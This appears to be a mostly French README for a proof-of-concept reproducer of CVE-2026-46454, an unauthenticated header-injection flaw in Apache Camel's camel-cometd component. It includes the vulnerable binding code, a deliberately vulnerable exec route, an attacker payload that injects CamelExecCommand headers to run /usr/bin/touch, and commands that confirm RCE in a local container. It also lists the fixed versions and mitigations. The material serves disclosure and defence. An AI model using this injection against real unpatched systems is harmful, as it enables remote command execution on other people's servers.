
Reproducer for CVE-2026-46454 — Apache Camel camel-cometd inbound Bayeux header injection (unauthenticated Camel control-header injection → downstream producer steering / RCE)
Ce projet démontre une injection d'en-tête de message dans le composant camel-cometd d'Apache Camel, référencée sous CVE-2026-46454. Le composant mappe les en-têtes entrantes des messages Bayeux (CometD) dans l'échange Camel sans HeaderFilterStrategy. CometdBinding.createCamelMessage copie la totalité de la carte ext.CamelHeaders fournie par le client CometD directement sur le message Camel (message.setHeaders(...)), de sorte que tout nom d'en-tête — y compris les en-têtes de contrôle internes à Camel tels que CamelHttpUri, CamelFileName, CamelJmsDestinationName (ou, comme ici, les en-têtes de contrôle camel-exec) — est accepté sans modification. Étant donné qu'un CometdComponent n'installe aucune SecurityPolicy Bayeux par défaut, tout client capable d'effectuer la poignée de main Bayeux peut publier un tel message sans authentification et orienter les producteurs en aval dans la route.
Advisory: https://camel.apache.org/security/CVE-2026-46454.html
Même famille d'injection d'en-tête que CVE-2025-27636, CVE-2025-29891, CVE-2025-30177, CVE-2026-40453 et CVE-2026-47323 — composants mappant les en-têtes entrantes dans l'échange sans filtrer l'espace de noms
Camel.
// CometdBinding.createCamelMessage(...) - affected 4.18.2
Message message = new DefaultMessage(camelContext);
message.setBody(data);
Map<String, Object> headers = getHeadersFromMessage(cometdMessage); // reads client-supplied ext.CamelHeaders
if (headers != null) {
message.setHeaders(headers); // <-- no HeaderFilterStrategy
}
Le client contrôle ext.CamelHeaders, il peut donc définir n'importe quel en-tête de contrôle Camel sur l'échange. Le correctif (4.14.8 / 4.18.3 / 4.21.0) implémente une HeaderFilterStrategy (un TODO de longue date dans le code) qui filtre l'espace de noms Camel* / camel* de manière insensible à la casse lors du mappage entrant.
from("cometd://0.0.0.0:8088/service/inject")
.to("exec:echo?args=hello"); // route author only intends to run: echo hello
Un attaquant publie sur /service/inject avec ext.CamelHeaders = { CamelExecCommandExecutable: "/usr/bin/touch", CamelExecCommandArgs: "/tmp/pwned" }; la liaison les mappe sur l'échange et le producteur exec exécute la commande de l'attaquant à la place.
Autonome : le consommateur camel-cometd exécute un serveur Bayeux embarqué (port 8088) dans l'application, et le point de terminaison /exploit/attack agit comme le client CometD non authentifié.
CVE-2026-46454/
├── pom.xml # camel-cometd + camel-exec 4.18.2; cometd 9.0.0 client; Jetty pinned to 12.1.6
├── Dockerfile
├── docker-compose.yml
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── VictimRoute.java # from("cometd://.../service/inject").to("exec:echo")
│ └── ExploitController.java # attacker BayeuxClient: handshake + publish with ext.CamelHeaders
└── resources/
└── application.properties
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
# -> Poignée de main effectuée (non authentifiée) et publication sur /service/inject avec ext.CamelHeaders = {...}.
# Le consommateur camel-cometd les a mappés sur l'échange ; le producteur exec a exécuté la commande.
#
# >>> Preuve de RCE — /tmp/pwned existe : true
docker exec cve-2026-46454 ls -la /tmp/pwned
docker compose down
Toute route avec un consommateur camel-cometd alimentant un producteur en aval dont le comportement est contrôlé par des en-têtes Camel — un producteur HTTP (CamelHttpUri), un producteur de fichiers (CamelFileName), un producteur JMS (CamelJmsDestinationName), un producteur exec (CamelExecCommand*), etc. Tout client pouvant effectuer une poignée de main contre le point de terminaison Bayeux peut les injecter ; aucune authentification n'est requise par défaut. Les en-têtes injectés persistent à travers les sauts internes direct, seda et vm.
SecurityPolicy Bayeux sur le CometdComponent (par défaut), donc tout client peut publier.Mettre à niveau vers 4.14.8 / 4.18.3 / 4.21.0 (CAMEL-23507), qui ajoute une HeaderFilterStrategy à la liaison cometd qui bloque les en-têtes Camel* / camel* fournis par le client lors du mappage entrant.
En attendant la mise à niveau :
.removeHeaders("Camel*") et .removeHeaders("camel*").SecurityPolicy Bayeux explicite sur le CometdComponent afin que seuls les clients authentifiés puissent publier.Ce reproducteur est fourni uniquement pour la recherche en sécurité et les tests autorisés, pour une vulnérabilité publiquement divulguée et corrigée. Ne l'utilisez pas contre des systèmes sans autorisation explicite.
| Propriété | Valeur |
|---|
| Composant | camel-cometd |
| Classe affectée | org.apache.camel.component.cometd.CometdBinding#createCamelMessage (message.setHeaders(...)) |
| CWE | CWE-20: Improper Input Validation |
| Impact | Injection non authentifiée d'en-têtes de contrôle Camel → orientation des producteurs en aval (RCE via exec ici) |
| Versions affectées | De 4.0.0 avant 4.14.8, de 4.15.0 avant 4.18.3, de 4.19.0 avant 4.21.0 |
| Versions corrigées | 4.14.8, 4.18.3, 4.21.0 |
| JIRA | CAMEL-23507 |
| Signaleur | Yu Bao (PayPal) |